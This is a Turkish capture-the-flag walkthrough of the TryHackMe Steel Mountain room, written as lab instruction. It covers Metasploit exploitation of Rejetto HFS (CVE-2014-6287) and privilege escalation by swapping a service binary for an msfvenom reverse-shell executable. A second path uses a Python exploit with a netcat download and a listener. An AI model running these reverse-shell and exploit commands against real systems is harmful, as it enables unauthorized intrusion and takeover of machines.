Lab erişimi: https://tryhackme.com/r/room/steelmountain
Talimatlar:
Bu, Windows Exploitation ve PowerShell kavramlarını içeren bir TryHackMe ücretli odasıdır.

Aşağıdaki değerleri sözdiziminde veya Makine IP’si gibi yerlerde uygun şekilde değiştirmeyi unutmayın.

Metasploit’in Bağlantısıyla ilgili bazı sorunlar yaşadım, bu nedenle Makineyi ve Süreci yeniden başlatmayı unutmayın.

Materyali bir Tarayıcıda erişiyorsanız, belirli bir cümleyi veya komutu bulmak için Ctrl+F (Bul komutu) kullanın.

TryHackMe’nin VPN’ine bağlandığınızdan veya Attackbox’ı başlattığınızdan emin olun.

Hatırlatmalar ile hemen nmap taramamız ile başlayalım.

nmap -T4 -A 10.10.101.154 -oN nmapTarama.txt

Bu odada bir Windows makinesini enumere edecek, Metasploit ile ilk erişimi sağlayacak, Powershell kullanarak makineyi daha fazla enumere edecek ve yetkilerinizi Admin seviyesine yükselteceksiniz.

Eğer gerekli güvenlik araçlarına ve ortamına sahip değilseniz, kendi Kali Linux makinenizi deploy edebilir ve tarayıcınızda kontrol edebilirsiniz.

Lütfen bu makinenin ping (ICMP) yanıtı vermediğini ve başlatılmasının birkaç dakika sürebileceğini unutmayın.

Soru: Ayın çalışanı kim?

80 numaralı portuna gidecek olursak;

Ayın çalışanın paylaşıldığını görüyoruz fakat ismi hakkında bir bilgi alamıyoruz. Bunun için inspect diyip bakmalıyım diye düşünüyorum.

ve evet burada ayın çalışanın ismini öğreniyoruz.

Cevap: Bill Harper

Soru: Makineyi nmap ile tarayın. Web sunucusunu çalıştıran diğer bağlantı noktası nedir?

Cevap: 8080

bu port’u da ziyaret edelim.

Soru: Hangi dosya sunucusu çalışıyor?

Cevap: Rejetto HTTP File Server

Soru: Bu File Server’da faydalanmak için CVE numarası nedir?

Cevap: 2014-6287

Soru: İlk shell’i almak için Metasploit kullanın. Kullanıcı bayrağı nedir?

msfconsol’da kullanabileceğimiz iki adet exploit mevcut. ilk olarak 1’inci exploit’i kullanarak çözeceğim.

gerekli parametreleri aşağıdaki gibi set ediyorum

ve exploit ..

search rejetto
use 0
show options set

rport 8080

ve böylece meterpreter shell’ini alıyoruz.

meterpreter oturumu alır almaz çalıştıracağımız komut sysinfo olmalıdır ve hemen bilgilere bakalım.

bilgisayarın adı, os, mimari, dili, domaini, giriş yapmış kullanıcı sayısı ve meterpretter bilgileri geldi.

getuid komutu, Metasploit’teki Meterpreter oturumunda kullanılır ve hedef sistemdeki mevcut kullanıcı kimliğini (UID) getirir. Bu komut, Meterpreter oturumunda hangi kullanıcının kimlik doğrulamasıyla oturum açıldığını belirlemek için kullanılır. UID, işletim sisteminde her kullanıcının benzersiz bir şekilde tanımlanmasını sağlayan bir sayıdır.

bill kullanıcısı olduğunu öğreniyoruz onun için bu kullanıcının dizinine gidiyorum.

Ve böylece user flag’imizi almış olduk.

Artık bu Windows makinesinde Bill olarak bir başlangıç shell’ine sahip olduğunuza göre, makineyi daha fazla enumere edebilir ve ayrıcalıklarımızı root’a yükseltebiliriz!

Bu makineyi enumerate etmek için PowerUp adında bir PowerShell scripti kullanacağız. PowerUp’ın amacı, bir Windows makinesini değerlendirerek herhangi bir anormallik belirlemektir — “PowerUp, yanlış yapılandırmalara dayanan yaygın Windows ayrıcalık artırma vektörlerinin bir merkezi olmayı hedefler.”

Scripti buradan indirebilirsiniz. Komut satırından indirmek istiyorsanız, GitHub sayfasını değil, raw scripti indirdiğinizden emin olun. Şimdi scripti yüklemek için Metasploit’teki upload komutunu kullanabilirsiniz.

yaptığımız işler gerçek hayata uygun olması adına yükleyeceğimiz dosyaları masaüstünde bill’in oturum açınca görebileceği yere kaydetmek yerine gecici bir directory oluşturup oraya atmayı amaçlıyorum.

Şimdi Metasploit’te dosyayı hedef makineye yüklemek için aşağıdaki komutu yazın 

upload <FILE_LOCATION>
load powershell
powershell_shell

burada powerUp’ın yüklü olduğu tam path’i vermeniz çok önemli.

görüldüğü üzere powershell shell’ini açtık.

Powershell dosyasını indirdiğiniz Dizine gidin ve ardından Aşağıdaki Komutları yazın

. .\PowerUp.ps1
Invoke-AllChecks

. .\PowerUp.ps1

Bu komut, PowerShell’de bir scripti çalıştırmadan önce içe aktarmak için kullanılır.

Invoke-AllChecks

Bu komut, PowerUp scripti tarafından sağlanan bir fonksiyondur.

Bu komutlar, Windows sistemlerinin güvenliğini değerlendirmek ve potansiyel riskleri belirlemek için oldukça yararlıdır.

True olarak ayarlanan CanRestart seçeneğine çok dikkat edin. Tırnak içine alınmamış bir hizmet yolu açığı olarak görünen hizmetin adı nedir?

CanRestart seçeneğinin true olması, sistemdeki bir hizmeti yeniden başlatmamıza izin verir. Uygulamanın dizini yazılabilir olduğunda, bu durum yasal uygulamayı zararlı bir uygulama ile değiştirmemize olanak tanır. Hizmeti yeniden başlattığımızda, bu durumda enfekte olmuş programımız çalışacaktır!

Bir Windows çalıştırılabilir dosyası olarak ters shell oluşturmak için msfvenom kullanın.

msfvenom -p windows/shell_reverse_tcp LHOST=CONNECTION_IP LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o Advanced.exe

Oluşturduğunuz ikili dosyayı yükleyin ve yasal olanın yerine geçirin. Ardından, programı yeniden başlatarak root olarak bir shell elde edin.

Not: Hizmetin alıntısız (unquoted) olduğu ve bu teknikle sömürülebileceği gösterilmiş olsa da, bu durumda hizmet dosyalarındaki zayıf dosya izinlerini kullanarak sömürü gerçekleştirilmiştir.

Aşağıdaki komutu kullanarak bir Payload oluşturalım

msfvenom -p windows/shell_reverse_tcp LHOST=<Machine-IP> LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o ASCService.exe

-p windows/shell_reverse_tcp: -p seçeneği, kullanılacak payload’ı belirtir. Burada windows/shell_reverse_tcp, Windows işletim sistemi için bir ters shell payload’ıdır. Bu payload, hedef makinede çalıştırıldığında, geri dönüş bağlantısı (reverse connection) kurarak saldırganın makinesine bağlantı sağlar.

LHOST=CONNECTION_IP: LHOST (Local Host), ters shell’in geri döneceği yerel makinenin IP adresidir. CONNECTION_IP kısmını, ters shell’in bağlanacağı IP adresi ile değiştirmeniz gerekir.

LPORT=4443: LPORT (Local Port), ters shell’in bağlantı kuracağı yerel makinenin port numarasıdır. Bu örnekte, 4443 numaralı port kullanılır. Bu port numarasını, ters shell’in bağlantı kuracağı port ile değiştirmeniz gerekir.

-e x86/shikata_ga_nai: -e seçeneği, payload’ı şifrelemek için kullanılacak şifreleme veya obfuscation (gizleme) tekniğini belirtir. Burada x86/shikata_ga_nai, msfvenom’un şifreleme tekniklerinden biridir ve payload’ı algılamayı zorlaştırır.

-f exe-service: -f seçeneği, çıktının formatını belirtir. Burada exe-service, bir Windows çalıştırılabilir dosyası (EXE) formatında bir payload oluşturur. Bu, hizmet olarak çalıştırılacak bir uygulama için uygun bir format olabilir.

-o Advanced.exe: -o seçeneği, oluşturulan çalıştırılabilir dosyanın adını belirtir. Burada Advanced.exe adlı dosya oluşturulacaktır. Bu dosya, payload’ı içerecek ve hedef makinede çalıştırılacaktır.

Özet
Bu komut, Metasploit Framework’ün msfvenom aracını kullanarak Windows için özel olarak hazırlanmış bir ters shell içeren çalıştırılabilir bir dosya (Advanced.exe) oluşturur. Bu dosya, hedef makinede çalıştırıldığında, belirttiğiniz IP adresine ve port numarasına geri bağlantı yaparak, saldırgana erişim sağlar.

Şimdi bu oluşturuduğumuz ASCService.exe payload’unu sisteme yüklememiz gerekiyor. Aşağıda belirtilen dizine yüklememiz önem arz ediyor.

Şimdi yüklemek için powershell oturumumuzu sonlandıralım.

görüldüğü üzere ASCService.exe’nin bulunduğu dizine geldik.

yüklemeye çalıştık fakat kullanımda olduğu için hata aldık. Durdurmak için shell session açalım ve

şimdi geri gelip tekrar upload edelim

msfconsole’da bir dinleyeci oluşturalım.

burada lport kısmında msfvenom’da oluşturduğunuz portu vermeyi unutmayın yoksa yakalayamazsınız.

bu adımı farklı bir şekilde

nc -lvnp 40404 ile de yapabilirdik

dinleme başladı şimdi shell’imize geri dönelim ve servisi başlatalım.

start ettiğimiz anda

geldi.

Şimdi Metasploit kullanmadan odayı tamamlayalım. Bunun için powershell ve winPEAS kullanarak sistemi numaralandıracak ve ilgili bilgileri toplayarak aşağıdakilere yükselteceğiz

Başlamak için aynı CVE’yi kullanacağız. Ancak, bu sefer bu istismarı kullanalım *Bunun çalışması için aynı anda bir web sunucusu ve bir netcat dinleyicisinin aktif olması gerektiğini unutmayın * Başlamak için web sunucunuzda bir netcat static binary dosyasına ihtiyacınız olacak. Eğer yoksa, GitHub’dan indirebilirsiniz! Bu exploiti iki kez çalıştırmanız gerekecek. İlk seferde netcat binary’mize sisteme çekecek ve ikincisi bir geri arama elde etmek için payload’ımızı çalıştıracak!

gerekli olan her şeyi klasörüme çektim ve düzenledim.

python exploit’inin içerisine girelim ve bilgi edinelim.

buradaki gereksinime göre ncat.exe’mizin adını nc.exe olarak yeniden adlandırmamız gerekiyor.

bu işlemi hemen gerçekleştiriyorum.

bura verilen değişkenleri de kendimize göre set etmemiz gerekiyor. hemen yapalım.

aslında portumuzu 30303 olarak değiştirmek daha iyi olabilir çünkü aynı exploiti kullanacağız ve önceki adımda yaptığım portu vermek doğru olmayabilir.

buradaki 10.9.0.154 benim tryhackme vpn adresim sizde kendinize göre set etmelisiniz.

şimdi local bir web server kurmamız gerekiyor.

şimdi 30303 portunu dinleyelim

burada ara vermek zorunda kaldığım için makinem terminate oldu. Bundan sonraki adımlarda ip adreslerim değişmiş olacak.

http.server kurduktan sonra python 39161.py 10.10.98.231 8080 çalıştırınca

shell’imiz gelmiş oldu.

kimiz diye bakınca yetkisiz kullanıcı bill olduğumuzu görebilirsiniz.

bundan sonraki adımlar yetki yükseltmede yaptığımızın benzerleridir onun için detayına girmiyorum.

Stay informed with the latest cybersecurity insights and best practices. Subscribe now for exclusive tips and updates

. (socials ).

. (location) .

We would love to here from you

They’ve never learned the most important rule of cyberspace – Computers dont lie but liars can compute.